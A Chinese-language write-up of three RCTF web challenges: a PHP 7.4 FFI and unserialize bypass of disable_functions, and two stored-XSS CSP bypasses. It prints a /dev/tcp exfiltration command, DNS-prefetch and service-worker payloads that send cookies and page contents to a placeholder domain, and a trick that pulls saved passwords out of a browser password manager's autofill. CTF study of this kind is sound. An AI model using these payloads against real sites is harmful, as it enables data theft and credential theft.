一年一度的RCTF开始了,又能学一波骚操作,RCTF的web题目去年就非常好,今年也特别出色。由于研究所月赛的原因没有参与其中,所以赛后来复现一下。
nextphp
1 |
|
一个代码执行,但是肯定没有这么简单,执行phpinfo查看到disable_function
之后,发现禁用了已知范围内的所有危险函数,并且还把之前考差过的putenv
也禁用了。这样就没有办法使用LD_PRELOAD
来劫持执行命令了。
同时也检查了一下其他方面,有没有使用什么危险的后端组件,也是全部GG。没有php-fpm,没有mog_cgi,没有ImageMagick等等。
一筹莫展之际,林师傅提醒到可以扫描文件看看,所以果断看看路径上有些啥。通过phpinfo可以得到web路径,使用php函数来打开路径读取内容即可。
1 | a=var_dump(glob("/var/www/html/*")); |
可以看到里面除了index.php
以外,还有一个神奇的preload.php
,读取其中的内容看看。
1 | a=var_dump(file_get_contents("/var/www/html/preload.php")); |
1 |
|
里面是一个继承序列化类的自定义类,同时在phpinfo中看到它被opcache.preload
预加载了。
感觉这里是有突破口的,搜了一圈发现只有php文档有资料,当时没有什么空就放弃了。
看了zsx大佬的writeup之后,发现这个php是7.4的开发版本,开发版经常会有新特性,这里就是利用一个新特性FFI-Foreign Function Interface
,中文叫外部函数接口。
利用这个我们可以引用被禁用的函数,但是由于__set
被设置成报错,所以没有办法对$data
赋值。所以这里需要调用__unserialize
,这里又有一个新机制,在这个类即继承了反序列化类,又拥有__serialize()/__unserialize()
,就会优先执行这种方法。
所以我们只需要构造一个类,先正常序列化,修改成class A
,然后再反序列化,这样就会覆盖原始的值,同时并不是直接赋值,所以也不会触发__set
。最后,利用ffi引入命令执行函数,执行命令反弹shell。
1 |
|
这样就把反序列化数据带入最后两行,在远程服务端执行,就可以了。但是这中间有一个坑,就是没有办法反弹shell,只能一次一次的执行命令后回传到vps主机上。
1 | $d->ret->system('bash -c "cat /flag > /dev/tcp/xxxx/xxxx"'); |
jail
漏洞点比较直接,在post区域中没有任何过滤,可以任意输入,是一个存储型xss,但是奈何有csp。
1 | content-security-policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self'; |
由于有沙盒,所以没有办法正常外连传输数据,同时由于有banner导致没有办法自动跳转,这里思路有这么几个。
一般这种连接是没有限制dns查询的,所以可以使用dns外带数据,这里的方法主要是
<link rel="dns-prefetch" href=xxxxx.xxxxx.xxxx>
,这样在dns记录中就可以查到我们想要的数据。利用某些服务机制绕过csp的策略,zsx的writeup中介绍了两种,一个是WebRTC服务会忽略
connect-src
,https://github.com/w3c/webrtc-pc/issues/1727。另外一种是利用service worker,这个是js在浏览器注册的一种持续化的服务,这个服务会优先使用它自己的csp策略,所以直接传输空的csp策略就可以绕过。
由于这道题目是直接开启了script的unsafe-inline
,所以是可以直接上script标签的。这里是直接用最简单的dns外带数据的方法。
1 | function toHex(s){ |
将dns外带数据传给ceye,一个dns的log平台,收到数据之后hex解码即可得到flag。
当然预期解法是service worker,这里通过文件上传js,然后在post处引用。因为service worker机制的问题,可以绕过原来的csp设置。顺带一提,必须要是https才行。
1 | fetch('https://YOUR_DOMAIN/?' + encodeURIComponent(globalThis.location.href), {mode: 'no-cors'}) |
1 | <script> navigator.serviceWorker.register('/uploads/21ca75a36c5cdacfd4653fadb2553242.js?' + encodeURIComponent(document.cookie), {scope: '/uploads/'}); </script> |
password
延续上一道题目的环境,只不过这次需要获取管理员的密码。是一道很有意思的题目,看完题解之后,发现它是利用密码管理软件的自动提示功能来获得密码。
这里只能通过service worker来完成,首先看到提示之后去读取document.body.innerHTML
,可以拿到一些有趣的数据,在里面可以看到有cip这个单词,查询之后知道是chromeipass。
1 | <script> setTimeout(() => {navigator.serviceWorker.register('/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?' + encodeURIComponent(document.body.innerHTML), {scope:'/uploads/'});}, 1000) </script> |
这时我们在post的地方增加两个input,一个是username,一个是password,控制脚本去点击这个username的input,然后再去读取document.body.innerHTML
。发现会多出一些条目,在其中可以看到flag的选项。
1 | <input type="username" name="username"><input type="password" name="password"> <script>setTimeout(()=>{ document.querySelector('[type=username]').click() },500); setTimeout(() => {navigator.serviceWorker.register('/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?' + encodeURIComponent(document.body.innerHTML), {scope:'/uploads/'});}, 1000) </script> |
很明显了,只要选择flag为用户名,再去读取密码就可以了。最后读取flag的password的脚本,配合上之前jail同样的service worker的js,就能收到flag了。
1 | <input type="username" name="username"> |
通过这道题我们也知道浏览器保管密码也是会被偷取的,这里拓展一下,是能够写个脚本遍历所有的用户名和密码然后依次发送回xss平台的。